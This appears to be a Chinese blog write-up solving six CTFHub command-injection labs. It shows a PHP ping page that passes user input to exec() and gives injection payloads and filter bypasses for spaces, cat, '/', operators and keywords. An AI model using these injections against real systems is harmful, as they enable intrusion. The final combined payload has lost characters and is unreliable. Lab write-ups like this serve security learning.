RCE命令注入

2023-10-21 11:22:43 浏览数 (1)

CTFHub上的六道命令注入的例题

无过滤

看看题先,ping一个IP地址。

源码

代码语言:javascript复制
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $cmd = "ping -c 4 {$_GET['ip']}";
    exec($cmd, $res);
}

?>

根据第六行代码,这里直接拼接命令行就可以。猜测flag可能在10240263218889.php文件中。再次拼接命令行,cat一下。

但是没有显示,这里可能有特殊字符无法回显,所先用base64编码再输出看看。

回显正常,将其base64解码即可拿到flag。

过滤cat

第一步还是一样,拼接命令行语句看看根目录。

但是因为这道题过滤了cat命令,所以这一步不能直接用cat读取flag_845521865998.php文件了。除了cat命令。more命令也可以读取文件。二者的区别在于,cat命令一次性将全部内容显示在屏幕上,在读取超长文件时cat显得毫无用处,因此Linux提供more命令一行一行地显示文章内容。

使用more命令,然后进行base64解码,即可得到flag。

过滤空格

前面的步骤还是一样,这里的重点在于如何绕过空格。

Linux中绕过空格的几种方式

代码语言:javascript复制
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

最后得到base64编码的flag,拿去解码即可。

过滤目录分隔符

这题绕过了目录分隔符/。

发现flag文件在flag_is_here目录下。

直接用cat flag_is_here/flag_3238793723392.php肯定是不行的。怎么绕过呢?

先cd进入该目录,然后catflag文件。

127.0.0.1;cd flag_is_here;cat flag_3238793723392.php | base64

然后拿去解码即可。

过滤运算符

过滤了|、&这些运算符。

第一步127.0.0.1;ls,第二步127.0.0.1;cat flag_3076413904999.php。查看源码,发现flag在注释里面。原来之前不用base64编码也是可以的,输出变成了注释所以没法正常回显。

综合过滤练习

组合拳

过滤了 ; 符号,翻看URL编码, 可以实现换行,用 代替 ; 符号。

过滤了空格和flag,所以用${IFS}代替空格。

在没有定义的情况下,*在bash中命令执行为空。所以可以吧flag拼接成fl*ag。

又因为过滤了cat,所以我们用more读取。最后payload为

?ip=127.0.0.1 cd{IFS}fl*ag_is_here more{IFS}fl*ag_309191927732.php#

得到flag。

0 人点赞